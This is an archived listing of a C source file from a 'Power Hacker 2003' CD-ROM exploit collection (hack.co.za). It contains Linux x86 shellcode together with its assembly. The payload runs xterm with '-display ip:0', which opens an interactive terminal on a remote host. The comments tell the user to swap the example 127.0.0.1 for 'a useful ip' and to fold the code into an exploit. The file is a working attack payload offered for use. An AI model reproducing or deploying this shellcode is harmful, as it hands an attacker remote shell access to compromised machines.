home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / xterm.c < prev   
Encoding:
Text File  |  2001-01-07  |  1.6 KB  |  65 lines

  1. /*
  2.  *  Linux/x86
  3.  *  
  4.  *  execve() of /usr/X11R6/bin/xterm -ut -display ip:0, exit()
  5.  *  127.0.0.1 is an example, you must change it to a useful ip 
  6.  *  (making a subroutine into the exploit?)
  7.  *  - you must not delete 'K' after ip:0 -
  8.  */
  9.  
  10. char shellcode[] =
  11. "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
  12. "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
  13. "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
  14. "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
  15. "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  16. "\x80\xe8\xac\xff\xff\xff"
  17. "/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K";
  18.  
  19.  
  20. /* Code */
  21. /* 
  22.   __asm__("
  23.   jmp    0x4f
  24.   popl   %esi
  25.   xorl   %edx,%edx
  26.   movb   %dl,0x14(%esi)
  27.   movb   %dl,0x18(%esi)
  28.   movb   %dl,0x21(%esi)
  29.   movb   $0x2b,%dl
  30.   xorl   %ecx,%ecx
  31.   movb   $0x9,%cl
  32.   cmpb   $0x4b,(%edx,%esi)
  33.   je     0x5
  34.   inc    %edx
  35.   loop   -0x9
  36.   jmp    0x2b
  37.   movb   %dh,(%edx,%esi)
  38.   xorl   %edx,%edx
  39.   movl   %esi,%ebx
  40.   movl   %esi,0x36(%esi)
  41.   leal   0x15(%esi),%edi
  42.   movl   %edi,0x3a(%esi)
  43.   leal   0x19(%esi),%edi
  44.   movl   %edi,0x3e(%esi)
  45.   leal   0x22(%esi),%edi
  46.   movl   %edi,0x42(%esi)
  47.   movl   %edx,0x46(%esi)
  48.   leal   0x36(%esi),%ecx
  49.   leal   0x46(%esi),%edx
  50.   xorl   %eax,%eax
  51.   movb   $0xb,%eax
  52.   int    $0x80
  53.   xorl   %ebx,%ebx
  54.   movl   %ebx,%eax
  55.   inc    %eax
  56.   int    $0x80
  57.   call   -0x54
  58.   .string \"/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K\"
  59.   ");
  60. */
  61.  
  62. /*
  63.   RaiSe <raise@undersec.com> http://www.undersec.com
  64. */
  65.